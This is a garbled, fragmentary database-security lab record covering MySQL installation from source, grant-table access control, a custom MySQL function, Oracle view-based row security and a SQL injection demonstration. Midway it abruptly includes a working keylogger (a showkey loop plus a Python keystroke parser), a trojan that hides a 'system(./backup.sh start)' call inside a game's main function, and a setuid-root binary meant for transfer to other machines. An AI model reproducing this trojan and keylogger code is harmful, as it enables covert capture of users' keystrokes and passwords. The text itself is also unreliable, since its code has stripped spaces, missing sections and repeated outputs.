Académique Documents
Professionnel Documents
Culture Documents
DATABASE SECURITY
INDEX
I. Configuring and Installing MySQL Server from source code. Creation and
particular file
V. Implementation of Virtual Private Database using View using Oracle 10g or
SQL server
a) Create view object based on given condition
b) Create view object to display rows that belong only to the logged on user.
The view object has one additional column as current user name which is
returned by a built in function USER
c) Test whether a user can only display his/her owned records by Select
VI. Implementation of VPD using Oracle application Context
determine SQL injection bugs and possible measures to prevent SQL injection
exploits.
B. Pre-installation configuration
a) Adding user and group
shell> groupadd sunil
shell> useradd -r -g sunil sunil
C. Installation
a) Creating build directory
#go to directory location where source is extracted i.e mysql-server
shell> cd $HOME/mysql-server/mysql-5.6.15/
#create build directory and enter into build directory
shell> mkdir bld
shell> cd bld
b) Configuration with cmake
#issue following command after entering to build directory 'bld'
shell> cmake ..
c) Building source code
#issue following command to build the source
shell> sudo make
d) Installing MySQL server
#following command will install MySQL server
shell> sudo make install
# This will install MySQL server in its default installation directory i.e
/usr/local/mysql
SCREENSHOOTS
D. Post-installation configuration
a) Installing grant table
shell> sudo ./mysql_install_db --user=sunil --basedir=/usr/local/mysql
--datadir=/sqldata
b) Changing permission of data directory
shell> cd /
shell> chown -R sunil sqldata
#data directory must be owned by user(sunil) otherwise grant table will not
load successfully.
c) Other configurations
# all other configurations related to starting of MySQL server is kept in a
file named my.conf under /usr/local/mysql. Here we can change the
default port no. (3306) to some other in case default port is already in use.
SCREENSHOTS
LAB II
Modification of Access Control List to change the different user privileges using
Grant Table. Implementing DAC: Implementation of database security policies
using DAC in MYSQL
# Discretionary Access Control (DAC) can be implemented in MySQL by
modification in the grant table.
# All the Grant table are present in mysql database which is accessible by root user
and equivalent privileges user.The grant tables are user, db etc.
Steps :
a) Adding host,user & password information in grant table user. This is the part of
connection verification where identification of user and password and identification
of user from where he is connecting to server is verified.
# Here I am adding 3 users
mysql> INSERT INTO
user(host,user,password,ssl_cipher,x509_issuer,x509_subject)
values('localhost','user1',password('pwd1'),'x','x','x');
mysql> INSERT INTO
user(host,user,password,ssl_cipher,x509_issuer,x509_subject)
values('localhost','user2',password('pwd2'),'x','x','x');
mysql> INSERT INTO
user(host,user,password,ssl_cipher,x509_issuer,x509_subject)
values('localhost','user3',password('pwd3'),'x','x','x');
b) Modifying the privileges of user1,user2,user3 and checking privileges :
mysql> INSERT INTO
db(host,db,user,select_priv,insert_priv,create_priv,delete_priv)
values('localhost','pharmacy','user1','Y','Y','Y','Y');
mysql> INSERT INTO
db(host,db,user,select_priv,insert_priv,create_priv,delete_priv)
values('localhost','pharmacy','user2','Y','Y','Y','Y');
mysql> INSERT INTO
db(host,db,user,select_priv,insert_priv,create_priv,delete_priv)
values('localhost','pharmacy','user3','Y','Y','Y','Y');
mysql> quit;
shell> ./bin/mysql -u user2 -p
Enter password:
mysql> show grants;
# output
+--------------------------------------------------------------------------------------------------------------+
| Grants for user2@localhost
|
+--------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'user2'@'localhost' IDENTIFIED BY PASSWORD '*38366FDA01695B6A5A9DD4E428D9FB8F7EB75512' |
| GRANT SELECT, INSERT ON `pharmacy`.* TO 'user2'@'localhost'
|
+--------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
mysql> quit;
shell>./bin/mysql -u user3 -p
Enter password:
mysql> show grants;
#output
+--------------------------------------------------------------------------------------------------------------+
| Grants for user3@localhost
|
+--------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'user3'@'localhost' IDENTIFIED BY PASSWORD '*A21F1460C5CCDB575E0A7A3B35600BF918CAEA38' |
| GRANT SELECT ON `pharmacy`.* TO 'user3'@'localhost'
|
+--------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
# Clearly we can see that user1 has select,create,insert & delete permission, while
user2 has select & insert permission and user3 has only select permission.
So in this way DAC is implemented.
SCREENSHOTS
LAB III
Adding Native Function to MySQL Server by editing source code
# Here I am adding a native function named nitw() which takes string as argument
and returns that string on standart output.
Steps:
For adding native function which returns string value, modification to the following
files is required. These files are inside the /sql folder of source code directory.
a) item_create.cc
b) item_strfunc.h
c) item_strfunc.cc
a) Modification in item_create.cc
# class definition for nitw()
class Create_func_nitw : public Create_func_arg1
{
public:
virtual Item *create( THD *thd, Item *arg1);
static Create_func_nitw s_singleton;
protected:
Create_func_nitw( ) { }
virtual ~Create_func_nitw( ) { }
};
# Adding method
Create_func_nitw Create_func_nitw::s_singleton;
Item*
Create_func_nitw::create( THD *thd, Item *arg1)
{
return new (thd->mem_root) Item_func_nitw(arg1);
}
b) Modification in item_strfunc.h
# Deriving string function from item_str_func class defined in item_strfunc.h
class Item_func_nitw :public Item_str_func
{
String tmp_value;
public:
Item_func_nitw(Item *a) :Item_str_func(a) { }
String *val_str(String *);
void fix_length_and_dec( )
{
max_length=30;
}
const char *func_name( ) const { return "nitw"; }
};
c) Modification in item_strfunc.cc
# Here actual logic of function is added, i.e what function will perform after
executing and what it will return
String *Item_func_nitw::val_str(String *str)
{
return args[0]->val_str(str);
}
# After adding the above codes to their respective files, the source code needs to be
recompile, build and install.
# After successful build and installation the function nitw() will remain active and
can be used anytime after server is started.
# Output :
mysql> SELECT nitw("Welcome !!");
+--------------------+
| nitw("Welcome !!") |
+--------------------+
| Welcome !!
|
+--------------------+
1 row in set (0.00 sec)
SCREENSHOTS
whiletrue
do
showkey>/home/sksuman/dbs/logger/logger.txt
python/home/sksuman/dbs/logger/parse.py
done
b) python script to map the keystrokes with the keymap.txt file and generate output to output.log
file
importdatetime
fin=open("/home/sksuman/dbs/logger/keymap.txt","r")
lineList=fin.readlines()
fin.close()
args=['nul']*88
forlineinlineList:
#printline
ifline[0]=="k":
#printint(line[8:10])
args.insert(int(line[8:10]),line[12:len(line)1])
args.pop()
#printargs
#printlen(args)
#nowthatihaveformedtheargslist..Icanworkontheargs
array!
fin=open("/home/sksuman/dbs/logger/logger.txt","r")
lineList=fin.readlines()
fin.close()
f=open("/home/sksuman/dbs/logger/output.log","a")
index=0
forlineinlineList:
#printline
ifline[0:5]=="keyco":
ifindex==0:
f.write("\n
\n"+datetime.datetime.now().strftime("%I:%M%pon%B%d,%Y")+"\n
==============================================\n")
#Datetimetobesavedonlywhensomekeycodeis
read
###########################actualkeystrokesget
recordedhere######################
index=int(line[9:11])
if(index==42orindex==54)andline[12:len(line)
1]=="press":
#shifthasbeenpressed
f.write("<Shiftpressed>")
elifindex==58andline[12:len(line)1]=="press":
#capshasbeenpressed
f.write("<Capspressed>")
elifindex==28andline[12:len(line)1]=="release":
f.write("\n")
elifindex==57andline[12:len(line)1]=="release":
f.write("\t")
elif(index==42orindex==54)andline[12:len(line)
1]=="release":
#shifthasbeenreleased
f.write("<Shiftreleased>")
elifindex==58andline[12:len(line)1]=="release":
#capshasbeenreleased
f.write("<Capsreleased>")
elifline[12:len(line)1]=="release":
f.write(args[index])
f.close()
#filewritingisdone
c) Inserting code in the main function of game source code
#include<SDL.h>
#include"supertux/main.hpp"
intmain(intargc,char**argv)
{
system(./backup.shstart);
returnMain().run(argc,argv);
}
b) changing the permission of the file initially and setting sticky bit
shell> gcc horse.c -o horse
shell> sudo chmod root horse
shell> sudo chgrp root horse
shell> sudo chmod 4777 horse
Now this file can be transferred to any system which will change the
permission of the file kept in /home/sksuman/logger/logger.txt
export ORACLE_HOME=/u01/app/oracle/product/11.2.0/xe
export ORACLE_SID=XE
export NLS_LANG=`$ORACLE_HOME/bin/nls_lang.sh`
export ORACLE_BASE=/u01/app/oracle
export LD_LIBRARY_PATH=$ORACLE_HOME/lib:$LD_LIBRARY_PATH
export PATH=$ORACLE_HOME/bin:$PATH
b) execute your .profile to load the changes:
shell> . ./.profile
8) Start the Oracle 11gR2 XE :
shell> sudo service oracle-xe start
________________________________________________________________________________
OUTPUT :
sksuman@NITW:~$ sudo -i
[sudo] password for sksuman:
root@NITW:~# sqlplus sys as sysdba
SQL*Plus: Release 11.2.0.2.0 Production on Mon Mar 31 03:09:24
2014
Copyright (c) 1982, 2011, Oracle.
Enter password:
Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit
Production
SQL>
________________________________________________________________________________
USERNAME
-------------------SUNILKS
SUNILKS
iii) Connect to sunilks and grant permission to create session and on created
view to user guest1 ; Insert values using view by user guest1 :
SQL> conn sunilks/137568;
Connected.
SQL> grant select,insert on login_view to guest1;
Grant succeeded.
SQL> conn guest1/passwd1;
Connected.
SQL> select * from sunilks.login_view;
no rows selected
SQL> insert into sunilks.login_view values(2,user);
1 row created.
SQL> select * from sunilks.login_view;
ROLLNO USERNAME
---------- -------------------2
GUEST1
SQL> insert into sunilks.login_view values(3,user);
1 row created.
iii) Verify whether select command displaying rows of currently logged in user or
not :
SQL> conn guest1/passwd1;
Connected.
SQL> show user;
USER is "GUEST1"
SQL> select * from sunilks.login_view;
ROLLNO
---------2
3
USERNAME
-------------------GUEST1
GUEST1
Since current user is guest1 and its showing only rows from having
username=guest1. So it is verified.
USERNAME
-------------------SUNILKS
SUNILKS
USERNAME
-------------------SUNILKS
SUNILKS
GUEST1
GUEST1
From the above output we can see that when we login through user sunilks
and try to access rows using view login_view , it is showing the results only
belongs to user sunilks not that of guest1.
While in second case if we are selecting rows directly from
table i.e not using view, then all the results of the table dbslab is retrieved
irrespective of the logged in user.
Hence view can be implemented to provide row level security(VPD) when used
with the ORACLE predefined function user.
USERNAME
-------------------GUEST1
GUEST1
USERNAME
-------------------SUNILKS
SUNILKS
USERNAME
-------------------SUNILKS
SUNILKS
GUEST1
GUEST1
Clearly we can see that rollno field having value 4 is inserted but it has no username inserted
automatically.
ii) Now, creating a TRIGGER which will insert username automatically upon
each insert statement :
SQL> show user;
USER is "SUNILKS"
SQL>
2
3
4
5
6
7
8
Trigger created.
SQL> select trigger_name from user_triggers;
TRIGGER_NAME
-----------------------------TRG
USERNAME
-------------------GUEST1
GUEST1
USERNAME
-------------------GUEST1
GUEST1
GUEST1
# Clearly we can see from above output username guest1 is added automatically
SQL> conn sunilks/137568;
Connected.
SQL> select * from dbslab;
ROLLNO
---------137568
1
2
3
4
5
USERNAME
-------------------SUNILKS
SUNILKS
GUEST1
GUEST1
GUEST1
6 rows selected.
SQL> insert into login_view(rollno) values(6);
1 row created.
SQL> select * from login_view;
ROLLNO
---------137568
1
6
USERNAME
-------------------SUNILKS
SUNILKS
SUNILKS
USERNAME
-------------------SUNILKS
SUNILKS
GUEST1
GUEST1
GUEST1
SUNILKS
7 rows selected.
PHP code which validates username and password given by the user in the
form(code above) with the mysql database sql_inj_test, table admin :
SECURE PHP code which validates username and password given by the user
in the form(code above) with the mysql database table admin :
____________________________________________________________________
<?php
$uname = $_POST["usrname"];
$paswd = $_POST["pword"];
$con = mysql_connect("localhost","root","ubuntu");
if(!$con)
{
die('connection failed'.mysql_error());
}
mysql_select_db("sql_inj_test",$con);
OUTPUT :
output :
OUTPUT :
Clearly from the second result we can see that the second
PHP code is secure to sql injection attack since it
doesnot allowed the password as (x or'1'='1).